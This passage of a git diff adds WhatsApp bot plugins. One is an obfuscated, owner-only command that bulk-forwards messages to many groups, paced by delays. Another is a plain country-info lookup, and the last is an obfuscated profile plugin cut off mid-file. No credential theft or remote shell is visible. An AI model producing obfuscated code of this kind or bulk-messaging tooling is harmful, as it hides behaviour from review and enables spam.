แด€สŸษช','EaTHw','DHtFK','แด„แดแดแดแด€ษดแด….*','HhMXn','wXdJd','HQCaL','gurJf','fkBnx','slice','test','reply','replace','iatKH','quoted','315382pVstNy','caption','console','*\x0a\x0a','*แด‡xแด€แดแด˜สŸแด‡s:','fwd','MAX_JIDS','first\x20','KqCMb','แด›แด‡\x20ษดแดœแดส™แด‡ส€:','uOBqg','79*','prototype','owner','eEcDX','bind','forward','exception','tnEmh','246MZRjrl','wUtsI','NnxUL','trim','nGHef','toString','xxdYR','wJfIv','fileName','alias','conversati','BASE_DELAY',':*\x20','download','meCvI','bgJxg','xVQOn','text','image','3.\x20Bot\x20per','n/octet-st','entries','ted\x20messag','xdFhM','@g.us','VXkSh','fitXO','xbnvD','yLeVZ','Please\x20try','mimetype','hOuSX','split','zCJFW','JCbJl','apply','log','2.\x20Media\x20t','(((.+)+)+)','5250igiQiX','*า“แดส€\x20แด˜ส€ษชแด แด€','return\x20(fu','\x20สแดแดœ\x20แดกแด€ษดแด›\x20','OvdCP','ZYtLd','KWgQG','join','.us*\x0a','missions','push','trace','length','190595gnfOZx','../command','stickerMes','substring','rrTqo','EXTRA_DELA'];_0x1835=function(){return _0x5f227a;};return _0x1835();}function _0x575a7d(_0x3c8fc6,_0x40d62f,_0x2bf67c,_0x515273){return _0x50f7(_0x40d62f- -0x3a6,_0x2bf67c);}_0x11a77c['pattern']=_0x575a7d(-0x2d3,-0x2f5,-0x330,-0x2a3),_0x11a77c[_0x575a7d(-0x2cd,-0x2e9,-0x2a2,-0x2c4)]=[_0x4c9fa7(0x35f,0x323,0x36e,0x335)],_0x11a77c['desc']='Bulk\x20forwa'+_0x4c9fa7(0x3b0,0x3b0,0x39d,0x3df)+_0x575a7d(-0x220,-0x278,-0x219,-0x24e),_0x11a77c['category']=_0x575a7d(-0x319,-0x2f8,-0x30c,-0x2c0),_0x11a77c['filename']=__filename,cmd(_0x11a77c,async(_0x4bcc0e,_0x4e3910,_0x4d6b0b,{isOwner:_0x4b6a87})=>{const _0x1a86e1={'nGHef':function(_0x465d97,_0x1c9217){return _0x465d97===_0x1c9217;},'fkBnx':_0x451e76(-0x22f,-0x1ee,-0x218,-0x24d),'FZCCl':function(_0x4346a1,_0x25e557){return _0x4346a1(_0x25e557);},'HhMXn':function(_0x139f07,_0x4920d8){return _0x139f07+_0x4920d8;},'eEcDX':_0xfa4416(0x42d,0x3e4,0x480,0x3e7)+'nction()\x20','EaTHw':'*๐Ÿ›ฐ๏ธส€แด‡แด˜สŸส\x20แด›แด'+_0x451e76(-0x283,-0x2a9,-0x271,-0x2c9)+_0xfa4416(0x42e,0x428,0x46c,0x418)+_0xfa4416(0x481,0x4a0,0x490,0x438)+'*','rSpBu':_0xfa4416(0x454,0x46f,0x413,0x48a),'KqCMb':_0x451e76(-0x25e,-0x231,-0x25f,-0x296),'TaGFf':_0x451e76(-0x2b5,-0x2c2,-0x29a,-0x274),'JCbJl':function(_0x1effa6,_0xb53946){return _0x1effa6+_0xb53946;},'lmApP':function(_0x370e24,_0x295a6d){return _0x370e24+_0x295a6d;},'hqJfm':_0x451e76(-0x227,-0x225,-0x20e,-0x25f)+'แด…\x20ษขส€แดแดœแด˜\x20แดŠษช'+_0xfa4416(0x45a,0x474,0x450,0x487),'YRKdr':_0xfa4416(0x3f5,0x3be,0x3d2,0x3b8)+_0x451e76(-0x24d,-0x257,-0x21a,-0x25b),'bObzF':_0x451e76(-0x23d,-0x20c,-0x1f6,-0x275)+'1203634110'+_0xfa4416(0x455,0x4af,0x3f9,0x4ae)+_0xfa4416(0x433,0x467,0x3db,0x46f),'DWpEz':_0xfa4416(0x42c,0x3dd,0x442,0x444)+_0xfa4416(0x3fa,0x3af,0x420,0x447)+_0xfa4416(0x49b,0x446,0x4b6,0x49a)+_0x451e76(-0x2cc,-0x2d0,-0x289,-0x280),'KWgQG':'imageMessa'+'ge','xxdYR':_0xfa4416(0x482,0x4db,0x477,0x426)+'ge','pHFHl':_0xfa4416(0x43a,0x449,0x432,0x45a)+_0xfa4416(0x44c,0x401,0x419,0x45e),'CxXMG':_0x451e76(-0x27d,-0x290,-0x23c,-0x267)+_0x451e76(-0x275,-0x248,-0x25c,-0x22d),'sgENG':'image/jpeg','pQpLn':_0x451e76(-0x242,-0x27c,-0x236,-0x22d)+'ge','wXdJd':_0xfa4416(0x45d,0x4b4,0x448,0x444),'nvGNw':'audio/mp4','JArsC':'image/webp','Rnvrj':'applicatio'+_0xfa4416(0x418,0x445,0x43d,0x3c2)+'ream','zCJFW':function(_0x3b154f,_0x3adb93){return _0x3b154f===_0x3adb93;},'bbqqA':_0xfa4416(0x49f,0x46d,0x4c5,0x47a)+'xtMessage','lOClR':_0x451e76(-0x2ba,-0x2f1,-0x293,-0x29e)+'on','aRixw':function(_0x7b646a,_0x4d7acb){return _0x7b646a===_0x4d7acb;},'wUtsI':'khpOH','mRxCf':function(_0x3090e5,_0x1a3312){return _0x3090e5!==_0x1a3312;},'rrTqo':_0x451e76(-0x2c2,-0x2d6,-0x31d,-0x291),'UUHBQ':_0xfa4416(0x492,0x498,0x4b9,0x4d6)+_0xfa4416(0x41a,0x41b,0x441,0x442)+_0x451e76(-0x243,-0x217,-0x265,-0x22b),'BBYbP':function(_0x2adbe6,_0x240b69){return _0x2adbe6%_0x240b69;},'Npqou':function(_0x4a9641,_0x3798d1){return _0x4a9641!==_0x3798d1;},'BHOcc':'xVQOn','VXkSh':function(_0x3fb286,_0x100496){return _0x3fb286===_0x100496;},'OvdCP':function(_0x4c3413,_0x26d383){return _0x4c3413+_0x26d383;},'IJvzT':function(_0x56527d,_0x29b8d6){return _0x56527d+_0x29b8d6;},'zYtbl':'Message','tnEmh':_0xfa4416(0x415,0x428,0x448,0x408),'xdFhM':function(_0x2a6673,_0x5ef564){return _0x2a6673>_0x5ef564;},'hOuSX':function(_0x2b1394,_0x3704cf){return _0x2b1394-_0x3704cf;},'foGNb':_0xfa4416(0x45e,0x481,0x430,0x457),'rnbLr':_0x451e76(-0x280,-0x2b1,-0x22c,-0x29d),'HxKJn':_0xfa4416(0x3e9,0x3b4,0x3cc,0x3de),'LKiMu':_0x451e76(-0x22c,-0x1f2,-0x234,-0x1d2),'ERGjH':function(_0x18a26b,_0x4564e9){return _0x18a26b+_0x4564e9;}};function _0xfa4416(_0x2f5bb7,_0x19d066,_0x3d1de5,_0x2640ea){return _0x4c9fa7(_0x3d1de5,_0x2f5bb7-0xd3,_0x3d1de5-0x87,_0x2640ea-0x123);}function _0x451e76(_0x4f686f,_0x57ccaf,_0x5f5c8b,_0x5eb2c3){return _0x4c9fa7(_0x5f5c8b,_0x4f686f- -0x5f5,_0x5f5c8b-0x18f,_0x5eb2c3-0x141);}try{if(!_0x4b6a87)return await _0x4e3910[_0x451e76(-0x2db,-0x31d,-0x315,-0x289)](_0xfa4416(0x48e,0x473,0x4b5,0x444)+_0x451e76(-0x23e,-0x252,-0x215,-0x297)+_0x451e76(-0x2e3,-0x2b8,-0x2d6,-0x30e));if(!_0x4e3910[_0x451e76(-0x2d8,-0x2ae,-0x326,-0x2b1)])return await _0x4e3910[_0x451e76(-0x2db,-0x330,-0x2bc,-0x2d6)](_0x1a86e1[_0xfa4416(0x3e3,0x43a,0x3d9,0x3c1)]);let _0x36f268='';if(_0x1a86e1['nGHef'](typeof _0x4d6b0b,_0x1a86e1[_0xfa4416(0x44f,0x457,0x422,0x483)]))_0x36f268=_0x4d6b0b[_0x451e76(-0x2c1,-0x2be,-0x2df,-0x315)]();else{if(Array[_0xfa4416(0x45f,0x4be,0x4a5,0x41a)](_0x4d6b0b))_0x36f268=_0x4d6b0b['join']('\x20')['trim']();else _0x4d6b0b&&typeof _0x4d6b0b===_0x1a86e1[_0xfa4416(0x3f9,0x3fb,0x442,0x43b)]&&(_0x36f268=_0x4d6b0b[_0x451e76(-0x2b3,-0x26f,-0x282,-0x30a)]||'');}const _0x1b4c7c=_0x36f268[_0x451e76(-0x2a4,-0x248,-0x2a9,-0x2c3)](/[\s,]+/)[_0x451e76(-0x253,-0x281,-0x230,-0x2b0)](_0x2ec360=>_0x2ec360[_0xfa4416(0x407,0x3f0,0x3d2,0x3b9)]()[_0x451e76(-0x291,-0x2e2,-0x2d0,-0x255)]>-0x7e1+0x1a+0x7c7),_0x5742d3=_0x1b4c7c[_0xfa4416(0x441,0x3e7,0x3f5,0x425)](_0x3678f7=>{function _0x3d01d1(_0x2ca748,_0x2a167a,_0x463ff3,_0x2353bd){return _0xfa4416(_0x463ff3- -0x288,_0x2a167a-0x16e,_0x2353bd,_0x2353bd-0xda);}function _0x563a5b(_0x305739,_0x49a85f,_0x70dc7c,_0x20d981){return _0x451e76(_0x49a85f-0x4ca,_0x49a85f-0xc4,_0x305739,_0x20d981-0x44);}if(_0x1a86e1[_0x3d01d1(0x1a4,0x1d5,0x180,0x15a)](_0x1a86e1[_0x563a5b(0x24c,0x1ec,0x1d4,0x21f)],_0x1a86e1[_0x3d01d1(0x168,0x18f,0x162,0x12f)])){const _0x2d30cc=_0x3678f7[_0x3d01d1(0x1a8,0x17e,0x166,0x177)](/@g\.us$/i,'');return/^\d+$/['test'](_0x2d30cc)?_0x2d30cc+_0x3d01d1(0x1e4,0x18a,0x1be,0x209):null;}else _0x11fdfe=_0x38c31d;})[_0x451e76(-0x253,-0x252,-0x2af,-0x24b)](_0x260c58=>_0x260c58!==null)[_0xfa4416(0x3eb,0x3ec,0x39c,0x447)](-0x2*0x742+0x3aa*-0x2+-0xaec*-0x2,SAFETY[_0x451e76(-0x2d1,-0x287,-0x302,-0x2b0)]);if(_0x1a86e1[_0x451e76(-0x2c0,-0x26a,-0x273,-0x299)](_0x5742d3['length'],0x7*0xb5+-0xc*-0xa3+-0xc97)){if(_0x1a86e1['TaGFf']===_0xfa4416(0x413,0x3c1,0x472,0x3e5))return await _0x4e3910[_0x451e76(-0x2db,-0x320,-0x303,-0x2f5)](_0x1a86e1[_0xfa4416(0x426,0x3e9,0x476,0x430)](_0x1a86e1[_0xfa4416(0x447,0x48f,0x45f,0x43d)](_0x1a86e1['JCbJl'](_0x1a86e1[_0xfa4416(0x488,0x495,0x4b0,0x439)],_0x1a86e1[_0x451e76(-0x264,-0x244,-0x216,-0x259)]),_0x1a86e1['bObzF']),_0x1a86e1[_0x451e76(-0x232,-0x1fe,-0x28f,-0x236)]));else _0x3006e6+=_0x451e76(-0x252,-0x275,-0x2a5,-0x2a5)+_0x451e76(-0x272,-0x26b,-0x2b7,-0x263)+'first\x20'+_0x5a87b7[_0x451e76(-0x2d1,-0x330,-0x2fd,-0x2c6)]+_0x451e76(-0x22e,-0x1d7,-0x22f,-0x254);}let _0x4d781={};const _0x5f4d79=_0x4e3910[_0xfa4416(0x3f0,0x3f9,0x3f2,0x3e1)][_0xfa4416(0x469,0x44c,0x40d,0x40b)];if([_0x1a86e1[_0xfa4416(0x431,0x42e,0x3d3,0x43d)],_0x451e76(-0x242,-0x25e,-0x22d,-0x20d)+'ge',_0x1a86e1[_0x451e76(-0x2be,-0x2a5,-0x2bb,-0x27a)],_0x1a86e1[_0xfa4416(0x48d,0x438,0x496,0x4eb)],_0x1a86e1[_0x451e76(-0x258,-0x280,-0x2a0,-0x20c)]][_0x451e76(-0x235,-0x292,-0x218,-0x1e8)](_0x5f4d79)){const _0x4343e3=await _0x4e3910[_0xfa4416(0x3f0,0x3c8,0x3db,0x448)][_0xfa4416(0x411,0x417,0x3c5,0x3db)]();switch(_0x5f4d79){case _0x1a86e1['KWgQG']:const _0x473c84={};_0x473c84[_0x451e76(-0x2b2,-0x29c,-0x284,-0x264)]=_0x4343e3,_0x473c84['caption']=_0x4e3910[_0x451e76(-0x2d8,-0x2ca,-0x2ff,-0x28d)][_0xfa4416(0x415,0x40b,0x45e,0x3d4)]||'',_0x473c84['mimetype']=_0x4e3910['quoted'][_0x451e76(-0x2a6,-0x2c9,-0x306,-0x2f3)]||_0x1a86e1[_0x451e76(-0x27a,-0x27c,-0x275,-0x2c2)],_0x4d781=_0x473c84;break;case _0x1a86e1[_0xfa4416(0x45c,0x4aa,0x467,0x490)]:const _0x5bc5f2={};_0x5bc5f2[_0xfa4416(0x467,0x472,0x45d,0x41c)]=_0x4343e3,_0x5bc5f2[_0xfa4416(0x3f2,0x3d9,0x3b5,0x3cc)]=_0x4e3910[_0x451e76(-0x2d8,-0x293,-0x2d9,-0x2a5)]['text']||'',_0x5bc5f2[_0x451e76(-0x2a6,-0x29c,-0x280,-0x2a6)]=_0x4e3910['quoted'][_0x451e76(-0x2a6,-0x29c,-0x29f,-0x2ad)]||_0x1a86e1[_0x451e76(-0x2e1,-0x2d9,-0x2b2,-0x2a6)],_0x4d781=_0x5bc5f2;break;case _0x1a86e1[_0x451e76(-0x2be,-0x286,-0x285,-0x304)]:const _0x38c5b5={};_0x38c5b5[_0x451e76(-0x24e,-0x1ee,-0x287,-0x27c)]=_0x4343e3,_0x38c5b5['mimetype']=_0x4e3910['quoted'][_0x451e76(-0x2a6,-0x272,-0x276,-0x2c2)]||_0x1a86e1['nvGNw'],_0x38c5b5[_0x451e76(-0x231,-0x1fd,-0x1f0,-0x23f)]=_0x4e3910[_0x451e76(-0x2d8,-0x2e7,-0x2b2,-0x32d)][_0xfa4416(0x497,0x4c7,0x453,0x470)]||![],_0x4d781=_0x38c5b5;break;case _0x451e76(-0x28e,-0x2e5,-0x299,-0x2d4)+'sage':const _0x4e39c3={};_0x4e39c3[_0x451e76(-0x254,-0x24c,-0x245,-0x281)]=_0x4343e3,_0x4e39c3[_0x451e76(-0x2a6,-0x2eb,-0x251,-0x2f5)]=_0x4e3910[_0x451e76(-0x2d8,-0x2e8,-0x2bb,-0x31f)][_0x451e76(-0x2a6,-0x276,-0x25f,-0x281)]||_0x1a86e1[_0x451e76(-0x256,-0x27b,-0x26e,-0x2b0)],_0x4d781=_0x4e39c3;break;case _0x1a86e1[_0xfa4416(0x470,0x43c,0x469,0x4be)]:const _0x5aedbe={};_0x5aedbe['document']=_0x4343e3,_0x5aedbe[_0xfa4416(0x422,0x427,0x43c,0x3fc)]=_0x4e3910[_0x451e76(-0x2d8,-0x2ee,-0x2d0,-0x328)][_0x451e76(-0x2a6,-0x290,-0x2e5,-0x304)]||_0x1a86e1[_0xfa4416(0x498,0x4b3,0x4d7,0x474)],_0x5aedbe['fileName']=_0x4e3910['quoted'][_0xfa4416(0x40c,0x3e1,0x440,0x3b2)]||'document',_0x4d781=_0x5aedbe;break;}}else{if(_0x1a86e1[_0x451e76(-0x2a3,-0x2f1,-0x2e6,-0x254)](_0x5f4d79,_0x1a86e1[_0xfa4416(0x47f,0x457,0x4bc,0x4d8)])||_0x1a86e1[_0xfa4416(0x408,0x3c4,0x454,0x413)](_0x5f4d79,_0x1a86e1['lOClR'])){const _0x560a71={};_0x560a71[_0xfa4416(0x415,0x450,0x3c3,0x446)]=_0x4e3910['quoted']['text'],_0x4d781=_0x560a71;}else{if(_0x1a86e1[_0xfa4416(0x466,0x425,0x461,0x478)](_0x1a86e1[_0xfa4416(0x405,0x40b,0x3f0,0x44e)],_0x451e76(-0x24f,-0x228,-0x20b,-0x206)))try{_0x4d781=_0x4e3910['quoted'];}catch(_0x25bc2c){if(_0x1a86e1[_0x451e76(-0x260,-0x228,-0x249,-0x293)](_0x1a86e1[_0x451e76(-0x28c,-0x2bb,-0x2b8,-0x231)],'wTvwg'))return await _0x4e3910[_0x451e76(-0x2db,-0x284,-0x324,-0x303)](_0x1a86e1[_0x451e76(-0x267,-0x207,-0x24f,-0x25b)]);else{const _0x154cae={};_0x154cae[_0x451e76(-0x2b3,-0x2a0,-0x293,-0x2a7)]=_0x3d9157[_0x451e76(-0x2d8,-0x29d,-0x312,-0x311)][_0x451e76(-0x2b3,-0x28d,-0x26b,-0x2bb)],_0x121995=_0x154cae;}}else _0x47d700=_0x1ab72f[_0xfa4416(0x407,0x40f,0x424,0x427)]();}}let _0x236e7d=0x22c5+-0x1435*0x1+-0x748*0x2;const _0x4b00aa=[];for(const [_0x3b83d9,_0x1417a9]of _0x5742d3[_0xfa4416(0x419,0x44f,0x3df,0x42d)]()){try{await _0x4bcc0e['sendMessag'+'e'](_0x1417a9,_0x4d781),_0x236e7d++;if(_0x1a86e1[_0x451e76(-0x23c,-0x1fa,-0x1e9,-0x247)](_0x3b83d9+(-0xc41*-0x1+-0x121c*-0x1+0x3a*-0x86),-0x958+-0x84+0x9e6)===0x7b*0x17+0x1*-0x145c+0x94f){if(_0x1a86e1[_0x451e76(-0x285,-0x2d9,-0x259,-0x2d6)](_0x451e76(-0x2b4,-0x26b,-0x305,-0x2f1),_0x1a86e1['BHOcc'])){const _0x3eef13=_0x4bb3fa?function(){function _0x2421e4(_0x41e6ad,_0x3bad54,_0xece652,_0x25e597){return _0xfa4416(_0x25e597- -0x5d1,_0x3bad54-0x61,_0x41e6ad,_0x25e597-0x24);}if(_0x391d15){const _0x2ff1d6=_0x2774ac[_0x2421e4(-0x18f,-0x19a,-0x1ba,-0x1aa)](_0x3bcde7,arguments);return _0xf45437=null,_0x2ff1d6;}}:function(){};return _0x407351=![],_0x3eef13;}else await _0x4e3910[_0x451e76(-0x2db,-0x293,-0x335,-0x28e)]('๐Ÿ”„\x20Sent\x20to\x20'+_0x1a86e1[_0xfa4416(0x426,0x47b,0x3d0,0x481)](_0x3b83d9,-0x1ca6+-0x1369+0x3010)+'/'+_0x5742d3[_0x451e76(-0x291,-0x2c7,-0x2ea,-0x2b1)]+_0x451e76(-0x238,-0x26a,-0x1de,-0x1e8));}const _0x28c00d=_0x1a86e1[_0xfa4416(0x41d,0x436,0x42c,0x423)](_0x1a86e1[_0xfa4416(0x48c,0x457,0x443,0x45f)](_0x1a86e1[_0x451e76(-0x299,-0x2a7,-0x250,-0x23b)](_0x3b83d9,0x1062+-0x80b+-0x856),-0x53c+-0x55b+0xaa1),0x190f+-0x22f*0x9+-0x568)?SAFETY[_0xfa4416(0x43d,0x403,0x450,0x3f7)+'Y']:SAFETY[_0x451e76(-0x2b9,-0x2ba,-0x268,-0x2ee)];await new Promise(_0xad941=>setTimeout(_0xad941,_0x28c00d));}catch(_0xb849b6){_0x4b00aa[_0xfa4416(0x435,0x423,0x436,0x463)](_0x1417a9[_0xfa4416(0x3ee,0x3fb,0x440,0x3f9)](_0xfa4416(0x41c,0x460,0x473,0x421),'')),await new Promise(_0x227298=>setTimeout(_0x227298,SAFETY[_0xfa4416(0x40f,0x40e,0x3e0,0x40b)]));}}let _0x268775=_0x1a86e1[_0xfa4416(0x457,0x456,0x401,0x451)]('*โœ…\x20า“แดส€แดกแด€ส€แด…'+_0xfa4416(0x47d,0x440,0x4d2,0x448)+_0xfa4416(0x3f4,0x42e,0x3cf,0x40f),_0x451e76(-0x288,-0x23c,-0x24c,-0x2d4)+_0xfa4416(0x410,0x409,0x41a,0x3f3)+_0x236e7d+'/'+_0x5742d3[_0x451e76(-0x291,-0x250,-0x2e3,-0x27f)]+'\x0a')+(_0x451e76(-0x286,-0x2ca,-0x27c,-0x27f)+'สแด˜แด‡:*\x20'+(_0x5f4d79[_0xfa4416(0x3ee,0x3ba,0x418,0x414)](_0x1a86e1[_0x451e76(-0x26d,-0x29b,-0x222,-0x2b1)],'')||_0x1a86e1[_0x451e76(-0x2c5,-0x2ec,-0x2cd,-0x2f6)])+'\x0a');if(_0x1a86e1['xdFhM'](_0x4b00aa[_0x451e76(-0x291,-0x2b4,-0x271,-0x24f)],-0x1*-0x2242+-0x19b2+-0x890)){_0x268775+='\x0aโŒ\x20Failed\x20'+'('+_0x4b00aa[_0x451e76(-0x291,-0x2cc,-0x2e7,-0x237)]+_0xfa4416(0x451,0x494,0x425,0x4af)+_0x4b00aa[_0xfa4416(0x3eb,0x39b,0x3d3,0x406)](-0x24a0+0x248c+0x14,0x2b*-0x3d+-0x1586+-0x272*-0xd)[_0xfa4416(0x432,0x484,0x3da,0x47e)](',\x20');if(_0x1a86e1[_0x451e76(-0x2ad,-0x2dd,-0x25f,-0x250)](_0x4b00aa[_0x451e76(-0x291,-0x2e3,-0x239,-0x240)],-0x1b1*0x15+0x7*0xf+-0x187*-0x17))_0x268775+='\x20+'+_0x1a86e1[_0xfa4416(0x423,0x417,0x406,0x454)](_0x4b00aa[_0x451e76(-0x291,-0x268,-0x23c,-0x2d1)],-0x6*-0x2aa+-0x2d*0xb9+0x108e)+_0x451e76(-0x27b,-0x24e,-0x280,-0x22f);}_0x1b4c7c['length']>SAFETY[_0xfa4416(0x3f7,0x3c5,0x3c7,0x43a)]&&(_0x1a86e1[_0xfa4416(0x425,0x3e1,0x3d8,0x417)](_0x1a86e1['foGNb'],_0x1a86e1['rnbLr'])?_0x1a86d2=_0x16bdb7['join']('\x20')[_0xfa4416(0x407,0x3e6,0x404,0x450)]():_0x268775+=_0x451e76(-0x252,-0x24b,-0x28e,-0x29e)+_0xfa4416(0x456,0x448,0x493,0x446)+_0xfa4416(0x3f8,0x3b7,0x3ec,0x42a)+SAFETY['MAX_JIDS']+_0xfa4416(0x49a,0x4bc,0x4f3,0x47d)),await _0x4e3910[_0x451e76(-0x2db,-0x2d5,-0x2de,-0x314)](_0x268775);}catch(_0x591530){if(_0x1a86e1[_0x451e76(-0x260,-0x252,-0x210,-0x229)](_0x1a86e1[_0xfa4416(0x459,0x413,0x415,0x4a9)],_0x1a86e1[_0x451e76(-0x259,-0x287,-0x295,-0x29f)]))console[_0x451e76(-0x265,-0x2c1,-0x261,-0x222)](_0xfa4416(0x458,0x4a3,0x44b,0x3fb)+_0xfa4416(0x450,0x3fe,0x3f8,0x479),_0x591530),await _0x4e3910['reply'](_0x1a86e1[_0x451e76(-0x289,-0x2d4,-0x264,-0x29e)](_0x1a86e1['ERGjH'](_0x1a86e1[_0xfa4416(0x447,0x477,0x457,0x48a)]('๐Ÿ’ข\x20Error:\x20'+_0x591530['message'][_0xfa4416(0x43b,0x45b,0x453,0x46a)](-0x72f*0x1+0x1542+0x3*-0x4b1,-0x8ba*-0x1+-0x1ea4+0x164e)+'\x0a\x0a'+(_0x451e76(-0x2a7,-0x2fb,-0x294,-0x300)+_0xfa4416(0x487,0x4ac,0x4b5,0x4a4)+_0x451e76(-0x25b,-0x204,-0x252,-0x2a4)),_0xfa4416(0x480,0x424,0x4df,0x432)+_0x451e76(-0x276,-0x234,-0x27c,-0x258)),_0xfa4416(0x429,0x475,0x46a,0x3ca)+'ype\x20suppor'+'t\x0a'),_0x451e76(-0x2b1,-0x26d,-0x2d8,-0x2cd)+_0x451e76(-0x294,-0x2bc,-0x291,-0x237)));else{let _0x366867;try{_0x366867=PZXeep[_0x451e76(-0x27e,-0x27a,-0x25f,-0x2b1)](_0x901d73,PZXeep[_0xfa4416(0x3e6,0x41a,0x39b,0x3dc)](PZXeep[_0x451e76(-0x2c9,-0x26b,-0x326,-0x285)],_0x451e76(-0x268,-0x29b,-0x2b9,-0x24e)+_0x451e76(-0x255,-0x220,-0x271,-0x21c)+'rn\x20this\x22)('+'\x20)')+');')();}catch(_0x1b7e92){_0x366867=_0x490378;}return _0x366867;}}}); diff --git a/plugins/tool-country.js b/plugins/tool-country.js new file mode 100644 index 0000000000000000000000000000000000000000..a1ca748ad0b1b1ae400e0fcbb6cfac90d21c58d0 --- /dev/null +++ b/plugins/tool-country.js @@ -0,0 +1,79 @@ +const config = require('../config'); +const { cmd, commands } = require('../command'); +const axios = require("axios"); + +cmd({ + pattern: "country", + + alias: ["countryinfo", "cinfo"], + react: "๐ŸŒ", + desc: "Get information about a country, including its flag, capital, and more.", + category: "utility", + use: ".country ", + filename: __filename, +}, async (conn, mek, msg, { from, args, reply }) => { + try { + const countryName = args.join(" "); + if (!countryName) { + return reply("*๐Ÿท๏ธแด˜สŸแด‡แด€sแด‡ แด˜ส€แดแด ษชแด…แด‡ แด€ แด„แดแดœษดแด›ส€ส ษดแด€แดแด‡. แด‡xแด€แดแด˜สŸแด‡:* `.แด„แดแดœษดแด›ส€ส แด˜แด€แด‹ษชsแด›แด€ษด`"); + } + + // Fetch country information from the API + const response = await axios.get(`https://api.siputzx.my.id/api/tools/countryInfo?name=${encodeURIComponent(countryName)}`); + const { status, data } = response.data; + + if (!status || !data) { + return reply("โŒ No information found for the specified country. Please try again."); + } + + const { + name, + capital, + flag, + phoneCode, + googleMapsLink, + continent, + coordinates, + area, + landlocked, + languages, + famousFor, + constitutionalForm, + neighbors, + currency, + drivingSide, + alcoholProhibition, + internetTLD, + isoCode, + } = data; + + // Format the country information message + const countryMessage = `\*\`แ€ฏแชณ๐€๐‹๐ˆ-๐Œ๐ƒ ๐‚๐Ž๐”๐๐“๐‘๐˜ ๐ˆ๐๐…๐Žแ€พแชณ\`\*\n\n +๐ŸŒ *แด„แดแดœษดแด›ส€ส*: ${name} +๐Ÿ›๏ธ *แด„แด€แด˜ษชแด›แด€สŸ*: ${capital} +โ˜Ž๏ธ *ษดแดœแดส™แด‡ส€ แด„แดแด…แด‡*: ${phoneCode} +๐Ÿ“ *แด„แดษดแด›ษชษดแด‡ษดแด›*: ${continent.name} ${continent.emoji} +๐ŸŒ *ษขแดแดษขสŸแด‡ แดแด€แด˜s*: ${googleMapsLink} +๐Ÿ“ *แด€ส€แด‡แด€*: ${area.squareKilometers} kmยฒ (${area.squareMiles} miยฒ) +๐Ÿš— *แด…ส€ษชแด ษชษดษข sษชแด…แด‡*: ${drivingSide} +๐Ÿบ *แด€สŸแด„แดสœแดสŸ แด˜ส€แดสœษชส™ษชแด›ษชแดษด*: ${alcoholProhibition} +๐Ÿ’ป *ษชษดแด›แด‡ส€ษดแด‡แด› แด›สŸแด…*: ${internetTLD} +๐Ÿ’ฐ *แด„แดœส€ส€แด‡ษดแด„ส*: ${currency} +๐Ÿ“œ *แด„แดษดsแด›ษชแด›แดœแด›ษชแดษดแด€สŸ Form*: ${constitutionalForm} +๐Ÿ—ฃ๏ธ *สŸแด€ษดษขแดœแด€ษขแด‡s*: ${languages.native.join(", ")} (${languages.codes.join(", ")}) +๐ŸŒŸ *า“แด€แดแดแดœs า“แดส€*: ${famousFor} +๐Ÿงญ *แด„แดแดส€แด…ษชษดแด€แด›แด‡s*: Latitude ${coordinates.latitude}, Longitude ${coordinates.longitude} +๐Ÿ›‚ *ษชsแด แด„แดแด…แด‡*: ${isoCode.alpha2} (${isoCode.alpha3}, ${isoCode.numeric}) + `; + + // Send the country information message with the flag as an image attachment + await conn.sendMessage(from, { + image: { url: flag }, // Attach the flag image + caption: countryMessage, // Add the formatted message as caption + }); + } catch (error) { + console.error("Error fetching country information:", error); + reply("โŒ Unable to fetch country information. Please try again later."); + } +}); + diff --git a/plugins/tool-profile.js b/plugins/tool-profile.js new file mode 100644 index 0000000000000000000000000000000000000000..57fc6d582362caeb859605325732265b1902f2bc --- /dev/null +++ b/plugins/tool-profile.js @@ -0,0 +1 @@ +(function(_0xd7f451,_0x38aad6){function _0x1a2e85(_0x340af1,_0x5da629,_0x3e4ce7,_0x4b7f0e){return _0x285a(_0x340af1-0x195,_0x5da629);}const _0x56991e=_0xd7f451();function _0xad3fc(_0x220347,_0x366e0d,_0x1ff19c,_0x5b3414){return _0x285a(_0x366e0d-0x4c,_0x5b3414);}while(!![]){try{const _0x2005a6=parseInt(_0xad3fc(0x1dd,0x181,0x189,0x168))/(-0xcfc*-0x1+0x1*-0x1073+-0x1*-0x378)*(parseInt(_0xad3fc(0x19d,0x198,0x1e8,0x1f3))/(0x4fa+-0x387+-0x29*0x9))+-parseInt(_0xad3fc(0x223,0x1cb,0x191,0x177))/(0x1f6+0x1218+0x1*-0x140b)*(-parseInt(_0x1a2e85(0x30a,0x2c2,0x330,0x342))/(0x23*0x8b+-0x1*-0xd3+-0x13d0))+-parseInt(_0x1a2e85(0x2c2,0x2a9,0x300,0x2c8))/(-0x1*-0x206b+-0x23d+-0x1e29*0x1)+parseInt(_0xad3fc(0x176,0x173,0x16f,0x1c0))/(0x5ad+0xb1e+-0x9f*0x1b)*(-parseInt(_0xad3fc(0x135,0x154,0x103,0x111))/(-0x1d5d+0x25f2+-0x88e))+parseInt(_0xad3fc(0x1f9,0x1dc,0x1d6,0x221))/(0x1ea7+0x5fb+-0x249a)+-parseInt(_0xad3fc(0x198,0x1a9,0x164,0x1b4))/(-0x3*-0xbf1+0x14fe+0xb8*-0x4f)*(-parseInt(_0xad3fc(0x228,0x1e4,0x223,0x208))/(0x2594+0x105*-0x5+-0x2071))+parseInt(_0xad3fc(0x15e,0x1b7,0x173,0x20d))/(0x1d5+0x4d3*0x1+0x69d*-0x1)*(parseInt(_0xad3fc(0x1ab,0x1f4,0x214,0x19c))/(0xde9+0x3b*-0x65+0x96a));if(_0x2005a6===_0x38aad6)break;else _0x56991e['push'](_0x56991e['shift']());}catch(_0x383d6f){_0x56991e['push'](_0x56991e['shift']());}}}(_0x751d,0x1*-0x3ad08+-0x50cef+0x107d93*0x1));const _0xe9c44c=(function(){const _0x26ceb8={};_0x26ceb8[_0x43c2fb(-0x106,-0x139,-0x12b,-0xeb)]=_0x43c2fb(-0x69,-0x34,-0x9b,-0x7b);function _0x29f8d8(_0x1ebcac,_0xf2d66,_0xceaa2e,_0x5f4e07){return _0x285a(_0xf2d66-0x1a1,_0xceaa2e);}_0x26ceb8[_0x43c2fb(-0x101,-0x12b,-0x8b,-0xe3)]=_0x43c2fb(-0xc2,-0x11b,-0xcf,-0xfc)+'ibb.co/KhY'+_0x43c2fb(-0xde,-0xf8,-0x74,-0xaf)+'c0bdd2354b'+'42b293317f'+_0x29f8d8(0x35f,0x324,0x36d,0x37c)+_0x29f8d8(0x2b2,0x2ab,0x258,0x2de);function _0x43c2fb(_0x47bbb9,_0x5d160f,_0x2f43b9,_0x22914b){return 